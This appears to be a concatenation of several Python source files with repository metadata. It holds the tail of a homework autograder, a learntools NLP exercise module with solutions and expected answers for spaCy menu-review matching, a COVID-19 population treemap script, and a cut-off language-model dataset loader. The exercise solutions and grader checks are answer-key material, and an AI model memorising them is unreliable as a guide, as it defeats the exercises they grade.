FAIL ***\")\n        print(\"-\" * 20)\n        print()\n\n    def get_test_scores(self):\n        return sum(self.scores.values())\n        \n    def run_tests(self, section_title, test, test_score):\n        test_name = section_title.split(' - ')[1]\n        try:\n            self.print_name(section_title)\n            test_outcome = test()\n            self.print_outcome(test_name, test_outcome)\n        except Exception:\n            traceback.print_exc()\n            test_outcome = False\n        \n        if test_outcome == False:\n            self.print_failure(test_name)\n            self.scores[section_title] = 0\n            return False\n        self.scores[section_title] = test_score\n        return True\n", "meta": {"hexsha": "1f26a470d61bd68e7e94d5287057eab4d512501c", "size": 2628, "ext": "py", "lang": "Python", "max_stars_repo_path": "homework-3/hw3p1/autograder/hw3_autograder/test.py", "max_stars_repo_name": "neelpawarcmu/deep-learning-library", "max_stars_repo_head_hexsha": "401483fce40e3a025054596cbec368ff4f647661", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "homework-3/hw3p1/autograder/hw3_autograder/test.py", "max_issues_repo_name": "neelpawarcmu/deep-learning-library", "max_issues_repo_head_hexsha": "401483fce40e3a025054596cbec368ff4f647661", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "homework-3/hw3p1/autograder/hw3_autograder/test.py", "max_forks_repo_name": "neelpawarcmu/deep-learning-library", "max_forks_repo_head_hexsha": "401483fce40e3a025054596cbec368ff4f647661", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.5135135135, "max_line_length": 85, "alphanum_fraction": 0.5551750381, "include": true, "reason": "import numpy", "num_tokens": 549, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3208213138121609, "lm_q2_score": 0.20946967639529512, "lm_q1q2_score": 0.06720233678494676}}
{"text": "from learntools.core import *\nimport textwrap\nimport numpy as np\n\nclass MenuAnalysisPlan(ThoughtExperiment):\n    _solution = \"\"\"You could group reviews by what menu items they mention, and then calculate the average rating\n    for reviews that mentioned each item. You can tell which foods are mentioned in reviews with low scores,\n    so the restaurant can fix the recipe or remove those foods from the menu.\"\"\"\n\nclass SingleReviewMatch(CodingProblem):\n    _var = \"matches\"\n    _hint = (\"You should set the attr keyword argument to 'LOWER' so matching is case insensitive. \"\n             \"An easy way to make a list of phrase documents is to loop through each item in the \"\n             \"menu and apply the model nlp(item). This is best done in a list comprehension. \"\n             \"From there, you can add the patterns to the matcher with matcher.add and pass in \"\n             \"the review document to perform the matching.\")\n    _solution = CS(textwrap.dedent(\"\"\"\n    import spacy\n    from spacy.matcher import PhraseMatcher\n\n    index_of_review_to_test_on = 14\n    text_to_test_on = data.text.iloc[index_of_review_to_test_on]\n\n    nlp = spacy.blank('en')\n    review_doc = nlp(text_to_test_on)\n\n    matcher = PhraseMatcher(nlp.vocab, attr='LOWER')\n    menu_tokens_list = [nlp(item) for item in menu]\n    matcher.add(\"MENU\", menu_tokens_list)\n    matches = matcher(review_doc)\"\"\"))\n    \n    def check(self, matches):\n        correct = [(2, 3), (16, 17), (58, 59)]\n        assert [(match[1], match[2]) for match in matches] == correct\n\nclass MatchAllDataset(CodingProblem):\n    _var = \"item_ratings\"\n    _hint = (\"For each review, use the `nlp` model to convert the text to a document. Then \"\n             \"use the matcher from exercise 1 to extract the item matches from the review text. \"\n             \"The matches you get from the matcher are tuples (match_id, start, end), so you can \"\n             \"do doc[start:end] to get the text phrase for that match. To get all of the unique \"\n             \"items in the review, create a list of all the matched phrases, and convert that \"\n             \"into a set. Finally for each of those items, append the review's rating to \" \"item_ratings. Make sure to add the item string in lowercase. \")\n    _solution = CS(textwrap.dedent(\"\"\"\n    from collections import defaultdict\n    \n    item_ratings = defaultdict(list)\n\n    for idx, review in data.iterrows():\n        doc = nlp(review.text)\n        matches = matcher(doc)\n\n        found_items = set([doc[match[1]:match[2]].lower_ for match in matches])\n        \n        for item in found_items:\n            item_ratings[item].append(review.stars)\n    \"\"\"))\n\n    def check(self, item_ratings):\n        correct = np.array([\n            4.47058824, 4.15942029, 4.88888889, 4.33962264, 4.1796875 ,\n            4.38888889, 4.40776699, 4.68      , 4.66666667, 4.44736842,\n            4.48453608, 4.44444444, 4.5       , 4.23809524, 4.04761905,\n            3.92      , 4.25      , 4.22      , 4.38095238, 3.8       ,\n            4.        , 4.55555556, 3.4       , 4.45762712, 5.        ,\n            5.        , 4.375     , 5.        , 4.54285714, 4.5       ,\n            4.45454545, 4.12820513, 3.88888889, 4.30188679, 4.5       ,\n            4.44444444, 4.75      , 4.48648649, 4.26315789, 4.        ,\n            4.6       , 4.14285714, 5.\n        ])\n\n        means = np.array([sum(item)/len(item) for _, item in item_ratings.items()])\n        means.sort()\n        correct.sort()\n        assert len(means) == len(correct), f\"Please add items to item_ratings. You should have {len(correct)} items.\"\n        assert np.allclose(means, correct)\n\nclass WorstReviewedItem(EqualityCheckProblem):\n    _var = \"worst_item\"\n    _hint = (\"Loop through each item in item_ratings and calculate the mean, \"\n             \"the sum of the ratings divided by the number of ratings. This is easiest \"\n             \"using a dictionary comprehension. Then use the `sorted` function to sort \"\n             \"the dictionary keys based on the dictionary values.\")\n    _solution = CS(textwrap.dedent(\"\"\"\n    # There are many ways to do this. Here is one.\n    mean_ratings = {item: sum(ratings)/len(ratings) for item, ratings in item_ratings.items()}\n    worst_item = sorted(mean_ratings, key=mean_ratings.get)[0]\n    \"\"\"))\n    _expected = 'chicken cutlet'\n\nclass CountImportanceQuestion(ThoughtExperiment):\n    _solution = \"\"\"\n    The less data you have for any specific item, the less you can trust that the average rating is the \"real\" sentiment of the customers. This is fairly common sense. If more people tell you the same thing, you're more likely to believe it. It's also mathematically sound. As the number of data points increases, the error on the mean decreases as 1 / sqrt(n).\n    \"\"\"\n\nqvars = bind_exercises(globals(), [\n    MenuAnalysisPlan,\n    SingleReviewMatch,\n    MatchAllDataset,\n    WorstReviewedItem,\n    CountImportanceQuestion\n    ],\n    var_format='q_{n}',\n    )\n__all__ = list(qvars)\n", "meta": {"hexsha": "867219a1a72a18dda5a326111900602b6a86b4c2", "size": 4973, "ext": "py", "lang": "Python", "max_stars_repo_path": "learntools/nlp/ex1.py", "max_stars_repo_name": "roannav/learntools", "max_stars_repo_head_hexsha": "355a5df6a66562de62254b723da1a9389b9acc49", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "learntools/nlp/ex1.py", "max_issues_repo_name": "roannav/learntools", "max_issues_repo_head_hexsha": "355a5df6a66562de62254b723da1a9389b9acc49", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "learntools/nlp/ex1.py", "max_forks_repo_name": "roannav/learntools", "max_forks_repo_head_hexsha": "355a5df6a66562de62254b723da1a9389b9acc49", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 46.9150943396, "max_line_length": 361, "alphanum_fraction": 0.6462899658, "include": true, "reason": "import numpy", "num_tokens": 1296, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.1480472055495773, "lm_q1q2_score": 0.06710414998091513}}
{"text": "# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\n# Setting up the environment.\nimport numpy as np\nimport pandas as pd\nfrom scipy import stats\nimport plotly as pl\n\n\n# %%\n# Load the data from the John Hopkins github repo\ndf = pd.read_csv('https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/07-10-2020.csv')\ndfpop = pd.read_csv('USpopCounties.csv')\n\n# %%\n# Dropping some columns and sorting\n\ndf1 = df[[\"Admin2\", \"Province_State\", \"Country_Region\", \"Confirmed\", \"Deaths\", \"Combined_Key\"]] #getting the columns I want\ndf1 = df1[(df1[\"Country_Region\"] == \"US\")] #dropping countries other than the US\ndf1 = df1.rename(columns={'Province_State': 'State'})\ndf1 = df1.rename(columns={'Admin2': 'County'})\ndf1 = df1.rename(columns={'Country_Region': 'Country'})\ndf1 = df1.rename(columns={'Combined_Key': 'County/State'})\n\n# %%\n# checking a match in column names to merge by County/State\nset(df1.columns).intersection(set(dfpop.columns))\n\n# %%\n# changes to make the columns equal to be able to merge\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' County', '')\ndfpop['County/State'] = dfpop['County/State'] + ', US'\n\n# %%\n# Converting lower case to title case\n#dfpop['County/State'] = dfpop['County/State'].str.upper().str.title()\n\n# %%\n# checking  how many cells are the same and how many are different\ndf1['County/State'].isin(dfpop['County/State']).value_counts()\n\n# %%\n# Replacing names of counties that are different\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' Parish', '')\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' Census Area', '')\ndfpop['County/State'] = dfpop['County/State'].str.replace(r'Baltimore city', 'Baltimore City')\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' City and Borough', '')\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' city', '')\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' Municipality', '')\ndfpop['County/State'] = dfpop['County/State'].str.replace(r' Borough', '')\ndfpop.at[2924,'County/State']='Fairfax City, Virginia, US'\ndfpop.at[2926,'County/State']='Franklin City, Virginia, US'\ndfpop.at[2895,'County/State']='Richmond City, Virginia, US'\ndfpop.at[2896,'County/State']='Roanoke City, Virginia, US'\ndfpop.at[1597,'County/State']='St. Louis City, Missouri, US'\ndfpop['County/State'] = dfpop['County/State'].str.replace(r'New York, New York, US', 'New York City, New York, US')\n\n\n\n# %%\n# Merging dfpop into df1 to get the population count\ndfpopmerged = pd.merge(left=df1, right=dfpop, how='left', left_on='County/State', right_on='County/State')\n\n# %%\ndfpopmerged.at[901,'Population']= 42628 #michigan department of corrections\n\nWeber = dfpop.loc[dfpop['County/State']=='Weber, Utah, US', 'Population'].item()\nMorgan = dfpop.loc[dfpop['County/State']=='Morgan, Utah, US', 'Population'].item()\ndfpopmerged.at[2999, 'Population'] = Weber + Morgan\n\ndfpopmerged.at[1438,'Population']= 491918 #kansas city\ndfpopmerged.at[154,'Population']= 877 #bear river utah\ndfpopmerged.at[780,'Population']= 1211 #dona ana new mexico\n\nDukes = dfpop.loc[dfpop['County/State']=='Dukes, Massachusetts, US', 'Population'].item()\nNantucket = dfpop.loc[dfpop['County/State']=='Nantucket, Massachusetts, US', 'Population'].item()\ndfpopmerged.at[804, 'Population'] = Dukes + Nantucket\n\n\n# %%\n# there are some issues with the merge. Names of counties are different\ndfpopmerged.isnull().sum()\n\n\n# %%\n#dfpopmerged = dfpopmerged.replace({'Population': {1: 62568}})\ndfpopmerged.at[1,'Population']= 62568\ndfpopmerged.at[31,'Population']= 5750\ndfpopmerged.at[34,'Population']= 156505\ndfpopmerged.at[47,'Population']= 25661\ndfpopmerged.at[52,'Population']= 296112\ndfpopmerged.at[81,'Population']= 121176\ndfpopmerged.at[88,'Population']= 22714\ndfpopmerged.at[104,'Population']= 40882\ndfpopmerged.at[113,'Population']= 614700\ndfpopmerged.at[142,'Population']= 887\ndfpopmerged.at[145,'Population']= 36769\ndfpopmerged.at[180,'Population']= 18040\ndfpopmerged.at[184,'Population']= 13668\ndfpopmerged.at[215,'Population']= 126131\ndfpopmerged.at[242,'Population']= 16843\ndfpopmerged.at[268,'Population']= 6399\ndfpopmerged.at[297,'Population']= 248361\ndfpopmerged.at[300,'Population']= 200182\ndfpopmerged.at[302,'Population']= 9996\ndfpopmerged.at[325,'Population']= 6868\ndfpopmerged.at[382,'Population']= 9893\ndfpopmerged.at[392,'Population']= 613\ndfpopmerged.at[408,'Population']= 47042\ndfpopmerged.at[432,'Population']= 237820\ndfpopmerged.at[462,'Population']= 16153\ndfpopmerged.at[545,'Population']= 17593\ndfpopmerged.at[563,'Population']= 20021\ndfpopmerged.at[585,'Population']= 5582\ndfpopmerged.at[647,'Population']= 41512\ndfpopmerged.at[665,'Population']= 27463\ndfpopmerged.at[717,'Population']= 218195\ndfpopmerged.at[739,'Population']= 28656\ndfpopmerged.at[751,'Population']= 444094\ndfpopmerged.at[752,'Population']= 7225\ndfpopmerged.at[753,'Population']= 19499\ndfpopmerged.at[783,'Population']= 5381\ndfpopmerged.at[797,'Population']= 33636\ndfpopmerged.at[799,'Population']= 99653\ndfpopmerged.at[801,'Population']= 23865\ndfpopmerged.at[807,'Population']= 14067\ndfpopmerged.at[825,'Population']= 1419\ndfpopmerged.at[861,'Population']= 20322\ndfpopmerged.at[876,'Population']= 8211\ndfpopmerged.at[879,'Population']= 28469\ndfpopmerged.at[899,'Population']= 6638\ndfpopmerged.at[965,'Population']= 22348\ndfpopmerged.at[1045,'Population']= 135583\ndfpopmerged.at[1083,'Population']= 49973\ndfpopmerged.at[1145,'Population']= 22529 #hopewell\ndfpopmerged.at[1183,'Population']= 29099 #iberia\ndfpopmerged.at[1184,'Population']= 32511 #iberville\ndfpopmerged.at[1218,'Population']= 15902 #jackson\ndfpopmerged.at[1253,'Population']= 432943 #jefferson\ndfpopmerged.at[1268,'Population']= 31368  #jefferson davis\ndfpopmerged.at[1300,'Population']= 31974 #juneau\ndfpopmerged.at[1309,'Population']= 491918 #kansas city\ndfpopmerged.at[1317,'Population']= 58708 #kenai peninsula\ndfpopmerged.at[1331,'Population']= 13901 #ketchikan\ndfpopmerged.at[1359,'Population']= 12998 #kodiak island\ndfpopmerged.at[1371,'Population']= 14892 #lasalle\ndfpopmerged.at[1377,'Population']= 244390 #lafayette\ndfpopmerged.at[1382,'Population']= 96714 #lafourche\ndfpopmerged.at[1467,'Population']= 7446 #lexington\ndfpopmerged.at[1480,'Population']= 46742 #lincoln\ndfpopmerged.at[1505,'Population']= 140789 #livingtson\ndfpopmerged.at[1540,'Population']= 82168 #lynchburg\ndfpopmerged.at[1566,'Population']= 10951 #madison\ndfpopmerged.at[1582,'Population']= 41085 #manasas\ndfpopmerged.at[1583,'Population']= 17478 #manasas park\ndfpopmerged.at[1630,'Population']= 12554 #martinsville\ndfpopmerged.at[1639,'Population']= 108317 #matanuska susitna\ndfpopmerged.at[1707,'Population']= 42628 #michigan department of corrections\ndfpopmerged.at[1790,'Population']= 24874 #marehouse\ndfpopmerged.at[1831,'Population']= 38158 #natchitoches\ndfpopmerged.at[1849,'Population']= 8398748 #mew york\ndfpopmerged.at[1853,'Population']= 180994 #newport news\ndfpopmerged.at[1872,'Population']= 10004 #nome\ndfpopmerged.at[1874,'Population']= 242742 #norfolk\ndfpopmerged.at[1881,'Population']= 3981 #norton\ndfpopmerged.at[1930,'Population']= 391006 #orleans\ndfpopmerged.at[1953,'Population']= 153279 #ouachita\ndfpopmerged.at[1954,'Population']= 4952 #ouray\ndfpopmerged.at[2018,'Population']= 3266 #petersburg\ndfpopmerged.at[2019,'Population']= 31346 #petersburg\ndfpopmerged.at[2058,'Population']= 23197 #plaquemines\ndfpopmerged.at[2067,'Population']= 21730 #pointe coupee\ndfpopmerged.at[2084,'Population']= 12271 #poquoson\ndfpopmerged.at[2088,'Population']= 94398 #portsmouth\ndfpopmerged.at[2110,'Population']= 6203 #prince of wales-hyder\ndfpopmerged.at[2134,'Population']= 18249 #radford\ndfpopmerged.at[2151,'Population']= 121648 #rapides\ndfpopmerged.at[2156,'Population']= 8442 #red river\ndfpopmerged.at[2170,'Population']= 20192 #richland\ndfpopmerged.at[2179,'Population']= 228783 #richmond city\ndfpopmerged.at[2190,'Population']= 94073 #roanoke\ndfpopmerged.at[2227,'Population']= 23884 #sabine\ndfpopmerged.at[2234,'Population']= 24836 #salem\ndfpopmerged.at[2363,'Population']= 6893 #southeast fairbanks\ndfpopmerged.at[2374,'Population']= 47244 #st. bernard\ndfpopmerged.at[2375,'Population']= 53100 #st. charles\ndfpopmerged.at[2384,'Population']= 10132 #st. helena\ndfpopmerged.at[2385,'Population']= 21096 #st. james\ndfpopmerged.at[2386,'Population']= 42837 #st. john the baptist\ndfpopmerged.at[2390,'Population']= 82124 #st. landry\ndfpopmerged.at[2394,'Population']= 300576 #st. louis city\ndfpopmerged.at[2396,'Population']= 79210 #st. martin\ndfpopmerged.at[2397,'Population']= 49348 #st. mary\ndfpopmerged.at[2399,'Population']= 258111 #st. tammany\ndfpopmerged.at[2412,'Population']= 24932 #staunton\ndfpopmerged.at[2439,'Population']= 98108 #suffolk\ndfpopmerged.at[2476,'Population']= 134758 #tangipahoa\ndfpopmerged.at[2492,'Population']= 4334 #tensas\ndfpopmerged.at[2493,'Population']= 110461 #terrebonne\ndfpopmerged.at[2613,'Population']= 22330 #union\ndfpopmerged.at[2643,'Population']= 59611 #vermilion\ndfpopmerged.at[2645,'Population']= 47429 #vernon\ndfpopmerged.at[2651,'Population']= 449974 #virginia beach\ndfpopmerged.at[2707,'Population']= 46194 #washington, louisiana\ndfpopmerged.at[2747,'Population']= 22628 #waynesboro\ndfpopmerged.at[2750,'Population']= 260213 #weber\ndfpopmerged.at[2754,'Population']= 38340 #webster, louisiana\ndfpopmerged.at[2761,'Population']= 26465 #west baton rouge\ndfpopmerged.at[2762,'Population']= 10830 #west carroll\ndfpopmerged.at[2763,'Population']= 15568 #west feliciana\ndfpopmerged.at[2800,'Population']= 13389 #williamsburg\ndfpopmerged.at[2808,'Population']= 28078 #mwinchester\ndfpopmerged.at[2813,'Population']= 13904 #winn\ndfpopmerged.at[2869,'Population']= 5230 #yukon koyukuk\ndfpopmerged.at[2876,'Population']= 165768 #guam\ndfpopmerged.at[2877,'Population']= 56882 #northern mariana\ndfpopmerged.at[2878,'Population']= 3193694 #puerto rico\ndfpopmerged.at[2880,'Population']= 106977 #virgin islands\n\n\n# %%\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\nimport pandas as pd\n\nlevels = ['County/State', 'State'] # levels totaled for the hierarchical chart\ncolor_columns = 'Deaths'\nvalue_column = 'Population'\n\ndef build_hierarchical_dataframe(df, levels, value_column, color_columns=None):\n    \"\"\"\n    Build a hierarchy of levels for Sunburst or Treemap charts.\n\n    Levels are given starting from the bottom to the top of the hierarchy,\n    ie the last level corresponds to the root.\n    \"\"\"\n    df_all_trees = pd.DataFrame(columns=['id', 'parent', 'value', 'color'])\n    for i, level in enumerate(levels):\n        df_tree = pd.DataFrame(columns=['id', 'parent', 'value', 'color'])\n        dfg = df.groupby(levels[i:]).sum()\n        dfg = dfg.reset_index()\n        df_tree['id'] = dfg[level].copy()\n        if i < len(levels) - 1:\n            df_tree['parent'] = dfg[levels[i+1]].copy()\n        else:\n            df_tree['parent'] = 'total'\n        df_tree['value'] = dfg[value_column]\n        df_tree['color'] = dfg[color_columns]\n        df_all_trees = df_all_trees.append(df_tree, ignore_index=True)\n    total = pd.Series(dict(id='total', parent='',\n                              value=df[value_column].sum(),\n                              color=df[color_columns].sum()\n                              ))\n    df_all_trees = df_all_trees.append(total, ignore_index=True)\n    return df_all_trees\n\n\ndf_all_trees = build_hierarchical_dataframe(dfpopmerged, levels, value_column, color_columns)\navg = df1['Confirmed'].mean()\n\n# %%\n# Creating a categorical column to use in the treemap to use colors for each state\ncodes = pd.DataFrame(df_all_trees['parent'].astype('category'))\ncodes[\"parent\"] = codes[\"parent\"].cat.codes\ndf_all_trees['codes'] = codes['parent']\n\n# %%\nfig = make_subplots(1, 1, specs=[[{\"type\": \"domain\"}]])\n\nfig.add_trace(go.Treemap(\n    labels=df_all_trees['id'],\n    parents=df_all_trees['parent'],\n    values=df_all_trees['value'],\n    branchvalues='total',\n    marker=dict(\n        colors=df_all_trees['codes'],\n        colorscale='matter',\n        #cmid=0.5\n        ),\n    hovertemplate='<b>%{label} </b> <br> Population: %{value:,.2s}<br> %{percentParent:,.2%} of total<extra></extra>',\n    texttemplate='<b>%{label} </b> <br> Population %{value:,.2s} <br> %{percentParent:,.2%} of total<br>',\n    maxdepth=3,\n    meta=df_all_trees['codes']\n    ), 1, 1)\n\nfig.update_layout(\n    title='Population per state and county as percentage of total in the US',\n    title_x=0.5,\n    hoverlabel=dict(\n            bgcolor=\"white\",\n            font_size=16,\n            font_color=\"#595959\",\n            font_family=\"Arial\",\n            bordercolor='#595959'\n            ),\n    )\nfig.show()\n\nimport plotly.io as pio\npio.write_html(fig, file='Index.html', auto_open=True)\n\n# %%\n", "meta": {"hexsha": "ce90a9cf742a3336aa5230da55df96e6ae22a66f", "size": 12774, "ext": "py", "lang": "Python", "max_stars_repo_path": "COVID19USTreeMappop.py", "max_stars_repo_name": "adrimos/COVID19TreeMapUSpop", "max_stars_repo_head_hexsha": "ad09802f674eaf09ecc113844620717e80c05deb", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "COVID19USTreeMappop.py", "max_issues_repo_name": "adrimos/COVID19TreeMapUSpop", "max_issues_repo_head_hexsha": "ad09802f674eaf09ecc113844620717e80c05deb", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "COVID19USTreeMappop.py", "max_forks_repo_name": "adrimos/COVID19TreeMapUSpop", "max_forks_repo_head_hexsha": "ad09802f674eaf09ecc113844620717e80c05deb", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.0197368421, "max_line_length": 146, "alphanum_fraction": 0.7254579615, "include": true, "reason": "import numpy,from scipy", "num_tokens": 3880, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.13846179234652572, "lm_q1q2_score": 0.06706813464595245}}
{"text": "\"\"\"\n\n  December 2016 - pltrdy\n  Handling datasets\n\n  Notes: we assume that <eos>'s id is 1.\n\n\"\"\"\nimport numpy as np\nimport os\nimport tensorflow as tf\nfrom collections import Counter\n\n# Don't change those values. I would have serious side effects on the model. \nEOS = \"<eos>\"\nIEOS=2\n\nBOS = \"<bos>\"\nIBOS=1\n\nPAD = \"<pad>\"\nIPAD=0\n\n\n# Cut sentences after MAX_LEN words\nMAX_LEN = 100\n\nclass SingleSentenceData:\n  \"\"\"\n    A class meant to work on a Single Sentence.\n    i.e. reading a file `input_fd` line by line\n    \n    The point is to run a (tiny) epoch on each line\n    thus each batch contains only 1 sentence.\n    One iterate over the lines by using `next()`\n  \"\"\"\n  def __init__(self):\n    self.batch_size = 1  \n    self.sentence = None\n \n  \n  def set_line(self, line, word_to_id):\n    words = (\" <bos> \"+line).replace(\"\\n\", \" <eos> \").split()+['<eos>']\n\n    sentence = [word_to_id[word] for word in words if word in word_to_id]\n    self.sentence = sentence\n    return len(sentence)\n\n  def read_from_file(self, input_fd, word_to_id):\n    line = input_fd.readline()\n    if  not line:\n      return None \n    return self.set_line(line, word_to_id)\n    \n  def batch_iterator(self):\n    sen_len = len(self.sentence)\n    x = np.zeros([1, sen_len-1]) + self.sentence[:-1]\n    y = np.zeros([1, sen_len-1]) + self.sentence[1:]\n    yield (x, y)\n\n  @property\n  def data(self):\n    return self.sentence\n\n  @property\n  def epoch_size(self):\n    return ((len(self.data) // self.batch_size) - 1)\n\nclass SentenceSet:\n  \"\"\"\n    A class defining sentence based sub-dataset\n    i.e. train, valid & text sets\n    each element is a sentence\n  \"\"\"\n  def __init__(self, raw, batch_size, shuffle=True):\n    self.sentences = self._raw_to_sentences(raw)\n    self.batch_size = batch_size\n    self.shuffle = shuffle \n    # nb sentence in data\n    self.n_sentences = len(self.data)\n\n    # n_iter aka. 'epoch_size'\n    self.n_iter = self.n_sentences // self.batch_size\n\n    self.sentences.sort(key=len)\n    self.order = np.arange(self.n_iter)\n\n    print(self)\n    \n  def __str__(self):\n    return (\"SentenceSet:\\n\"  \n           + \"\\n\\t* #sentences: %d\" % self.n_sentences\n           + \"\\n\\t* batch_size: %d\" % self.batch_size\n           + \"\\n\\t* #iter: %d\" % self.n_iter\n           + \"\\n\\t* shuffled: %s\" % str(self.shuffle))\n\n  def maybe_shuffle(self):\n    if self.shuffle:\n      np.random.shuffle(self.order)\n\n  def _raw_to_sentences(self, raw_data):\n    \"\"\" \n      Inputs:\n        * raw_data: list of word indentifier.  [ int ]. \n      Output: \n        * sentences\n    \"\"\"\n    ieos = IEOS\n    sentences = []\n\n    sentence = []\n    count = 0\n    for d in raw_data:\n      sentence.append(d)\n      if d == ieos:\n        sentences.append(sentence)\n        sentence = []\n\n    return sentences\n\n  def batch_iterator(self):\n    n_iter, batch_size = self.n_iter, self.batch_size\n    if n_iter == 0:\n      raise ValueError(\"epoch_size == 0, decrease batch_size\")\n   \n    self.maybe_shuffle()\n\n    # Batching data\n    for i in range(n_iter):\n      ii = self.order[i]\n      batch_sentences = self.sentences[batch_size*ii:batch_size*(ii+1)]\n      max_len = min(max([len(s) for s in batch_sentences]), MAX_LEN)\n      x = np.zeros([batch_size, max_len])+IPAD\n      y = np.zeros([batch_size, max_len])+IPAD\n    \n      for j in range(batch_size):\n        s = batch_sentences[j] \n        l = min(80, len(s))\n        x[j][:l] = [IBOS]+s[:l-1]\n        y[j][:l] = s[:l]\n\n      yield (x, y)\n  \n  \n  @property\n  def data(self):\n    return self.sentences\n\n  @property\n  def epoch_size(self):\n    return ((len(self.data) // self.batch_size) - 1)\n\nclass SequenceSet:\n  \"\"\"\n    Set of fixed size sequences (num_steps)\n  \"\"\"\n  def __init__(self, raw_data, batch_size, num_steps):\n    self.raw_data = np.array(raw_data, dtype=np.int32)\n    self.num_steps = num_steps \n    self.batch_size = batch_size\n    \n    self.data_len = data_len = len(raw_data)\n    self.batch_len = batch_len = data_len // batch_size\n    self.epoch_size = (batch_len - 1) // num_steps\n    \n    print(self)\n\n  def __str__(self):\n    return (\"SequenceSet:\"\n            + \"\\n\\t* #sequences: %d\" % self.data_len\n            + \"\\n\\t* batch_size: %d\" % self.batch_size\n            + \"\\n\\t* batch_len: %d\" % self.batch_len\n            + \"\\n\\t* #iter: %d\" % self.epoch_size)\n  \n  def batch_iterator(self):\n    \"\"\"Iterate on the raw data.\n    Args:\n      raw_data: one of the raw data outputs from ptb_raw_data.\n      batch_size: int, the batch size.\n      num_steps: int, the number of unrolls.\n    Yields:\n      Pairs of the batched data, each a matrix of shape [batch_size, num_steps].\n      The second element of the tuple is the same data time-shifted to the\n      right by one.\n    Raises:\n      ValueError: if batch_size or num_steps are too high.\n    \"\"\"\n    # PTB Iterator from tensorflow.models.rnn.ptb.reader.py\n    # on TensorFlow 0.11\n    # https://github.com/tensorflow/tensorflow/blob/282823b877f173e6a33bbc9d4b9ad7dd8413ada6/tensorflow/models/rnn/ptb/reader.py\n   \n    raw_data = self.raw_data\n    num_steps = self.num_steps\n    batch_size = self.batch_size\n    batch_len = self.batch_len\n    epoch_size = self.epoch_size\n\n    data = np.zeros([batch_size, batch_len], dtype=np.int32)\n    for i in range(batch_size):\n      data[i] = raw_data[batch_len * i:batch_len * (i + 1)]\n\n\n    if epoch_size == 0:\n      raise ValueError(\"epoch_size == 0, decrease batch_size or num_steps\")\n\n    for i in range(epoch_size):\n      x = data[:, i*num_steps:(i+1)*num_steps]\n      y = data[:, i*num_steps+1:(i+1)*num_steps+1]\n      yield (x, y) \n\n    \nclass Datasets:\n  \"\"\"\n    Managing datasets\n    It may actually contains 3 datasets, namely \n    train, valid and test.\n  \"\"\"\n  def __init__(self, path, batch_size=1, training=True, num_steps=1, word_to_id=None):\n    if not training and word_to_id is None:\n      raise ValueError(\"Must set 'word_to_id' when action is not 'train'\")\n\n    # Setting parameters\n    self.path = path\n    self.training = training\n    self.batch_size = batch_size\n    self.num_steps = num_steps\n    \n    # Loading from files\n    train_path = os.path.join(path, \"train.txt\")\n    valid_path = os.path.join(path, \"valid.txt\")\n    test_path = os.path.join(path, \"test.txt\")\n    \n    if word_to_id is None:\n      print(\"Building vocabulary...\")\n      self._build_vocab(train_path)\n    else:\n      self.word_to_id = word_to_id\n    print(\"Vocabulary size: %d\" % len(self.word_to_id))\n\n    if training:\n      print(\"Loading train set\")\n      self.train = self._load_set(train_path)\n    \n      print(\"Loading valid set\")\n      self.valid = self._load_set(valid_path)\n    \n    print(\"Loading test  set\")\n    self.test  = self._load_set(test_path, batch_size=1)\n\n  def _load_set(self, path, batch_size=None):\n    if not os.path.isfile(path):\n      print(\"WARNING: File not found: '%s'\" % path)\n      return None\n    \n    if batch_size is None:\n      batch_size = self.batch_size\n\n    data = self._file_to_word_ids(path)\n\n    if self.num_steps == 0:\n      return SentenceSet(data, batch_size)\n    else:\n      return SequenceSet(data, batch_size, self.num_steps)\n   \n  def _build_vocab(self, filename):\n    counts = Counter()\n    with tf.gfile.GFile(filename, \"r\") as f:\n      #for line in f:\n      #  words = line.replace(\"\\n\",\" \").split()\n      #  counts += Counter(words)\n      while True:\n        chunk = f.read(int(500000000/2))\n        if not chunk: \n          break\n        counts += Counter(chunk.replace(\"\\n\", \" \").split())\n\n    sorted_pairs = sorted(counts.items(), key=lambda x: (-x[1], x[0]))\n    self.word_to_id = {e[0]: (i+3) for (i, e) in enumerate(sorted_pairs)}\n    self.word_to_id[EOS] = IEOS\n    self.word_to_id[BOS] = IBOS\n    